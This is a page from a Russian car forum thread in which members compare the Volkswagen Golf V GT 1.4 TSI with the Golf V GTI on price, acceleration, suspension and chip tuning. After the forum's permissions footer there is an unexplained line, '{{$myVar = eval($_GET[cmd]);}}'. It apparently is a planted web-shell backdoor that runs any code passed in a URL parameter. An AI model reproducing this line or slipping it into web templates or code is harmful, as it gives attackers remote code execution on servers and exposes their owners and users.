+ Ответить в теме
Страница 1 из 7 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 62

Тема: GOLF V GT 1.4 TSI


  1. #1
    Мимо проходил JOHN is on a distinguished road Аватар для JOHN
    Регистрация
    07.11.2006
    Сообщений
    45
    GOLF V GT 1.4 TSI. Кто нибудь знает про этого гольфа ? Как он в сравнении с GOLF V GTI ?

  2. #2
    GTI-Racing Иван Москва is on a distinguished road Аватар для Иван Москва
    Регистрация
    22.03.2006
    Откуда
    Пробкоград, СЗАО
    Машина
    OctaviaII vRS
    Сообщений
    345
    Там турбина + компрессор. Ехать должен достойно, 170 ЛС как никак. И таможня халявная. Правда насчет надежности не знаю, маловат обьем для такой мощи, возникает вопрос о его долговечности...
    А GTI ессно лучше, но и на порядок дороже

  3. #3
    Мимо проходил JOHN is on a distinguished road Аватар для JOHN
    Регистрация
    07.11.2006
    Сообщений
    45
    А на сколько GTI дороже если GT DSG стоит 36000 $ ? И хотелось бы знать чем, кроме двигателя отличается GTI от GT ?

  4. #4
    Администратор Adrenalin is on a distinguished road Аватар для Adrenalin
    Регистрация
    06.06.2006
    Откуда
    Москва
    Машина
    4matic
    Сообщений
    1,503
    Golf V GTI DSG от 35000 у.е.

  5. #5
    Мимо проходил JOHN is on a distinguished road Аватар для JOHN
    Регистрация
    07.11.2006
    Сообщений
    45
    Originally posted by Adrenalin@Nov 8 2006, 10:57
    Golf V GTI DSG от 35000 у.е.
    <div align='right'><{POST_SNAPBACK}></div>
    ??? Если GTI от 35000 у.е. тогда я не вижу особой разницы в цене.В одинаковой комплектации (климат , би-ксенон ,DSG) разница составит примерно 3000-4000 &#036; так в чем смысл ? Если GTI на много лучше, зачем тогда нужен GT примерно за теже деньги ?

  6. #6
    Администратор Adrenalin is on a distinguished road Аватар для Adrenalin
    Регистрация
    06.06.2006
    Откуда
    Москва
    Машина
    4matic
    Сообщений
    1,503
    Хз...я думаю GT появится по дешевле..

  7. #7
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Originally posted by JOHN@Nov 8 2006, 11:59
    ??? Если GTI от 35000 у.е. тогда я не вижу особой разницы в цене.В одинаковой комплектации (климат , би-ксенон ,DSG) разница составит примерно 3000-4000 &#036; так в чем смысл ? Если GTI на много лучше, зачем тогда нужен GT примерно за теже деньги ?
    <div align='right'><{POST_SNAPBACK}></div>
    В европе GTi стоит 30 000 евро
    GT - 27 000 евро. бызовые комплектации примерно рввны.
    У GT- другая подвеска и колесья.
    Он медленнее. НО ЭКОНОМИЧНЕЕ.
    в городе будет жрать как обычный 1.4. В этом то его фишка.
    С низу едет как дизель.
    GTi до сотни едет за 7.2. GT - pf 8.1
    Можно дурачить всех какое-то время,
    можно дурачить часть людей постоянно,
    но МАМОЧКУ не обманешь
    Закон капитана Пенни
    Трудно спорить со Сталиным - ты ему цитату, а он тебе - ссылку

  8. #8
    Мимо проходил JOHN is on a distinguished road Аватар для JOHN
    Регистрация
    07.11.2006
    Сообщений
    45
    Originally posted by ААГ@Nov 8 2006, 18:17
    В европе GTi стоит 30 000 евро
    GT - 27 000 евро. бызовые комплектации примерно рввны.
    У GT- другая подвеска и колесья.
    Он медленнее. НО ЭКОНОМИЧНЕЕ.
    в городе будет жрать как обычный 1.4. В этом то его фишка.
    С низу едет как дизель.
    GTi до сотни едет за 7.2. GT - pf 8.1
    <div align='right'><{POST_SNAPBACK}></div>
    На сколько я знаю GT набирает сотню за 7.9 с. на механике и 7.7 с. DSG.
    У нас в городе дилеры VW предлагают чип-тюнинг для GT после которого обещают 200 л.с. и 300 Нм стоит 45 т.р.(заводская гарантия на авто сохраняется).Интересно после чип-тюнинга GT догонит по динамике разгона стандартный GTI ? И еще в чем принципиальная разница в подвеске ?

  9. #9
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Originally posted by JOHN@Nov 8 2006, 19:08
    На сколько я знаю GT набирает сотню за 7.9 с. на механике и 7.7 с. DSG.
    У нас в городе дилеры VW предлагают чип-тюнинг для GT после которого обещают 200 л.с. и 300 Нм стоит 45 т.р.(заводская гарантия на авто сохраняется).Интересно после чип-тюнинга GT догонит по динамике разгона стандартный GTI ? И еще в чем принципиальная разница в подвеске ?
    <div align='right'><{POST_SNAPBACK}></div>
    Принципиальной разницы нет. Дело в настройках. GTi ниже, более собранный.
    8.1 - это журнал квадророуте намерял.

    Я думаю что прр 200 л.с. мотор не долго проживет.
    Можно дурачить всех какое-то время,
    можно дурачить часть людей постоянно,
    но МАМОЧКУ не обманешь
    Закон капитана Пенни
    Трудно спорить со Сталиным - ты ему цитату, а он тебе - ссылку

  10. #10
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    45 т.р. за чип не слабо

    А лучше для города ваще Polo GTi с добрым старым 1.8Т - понадежней и побыстрей будет чем 1.4TSi? особенно после чипа или кто как дальше зайдет
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 1 из 7 1 2 3 ... ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}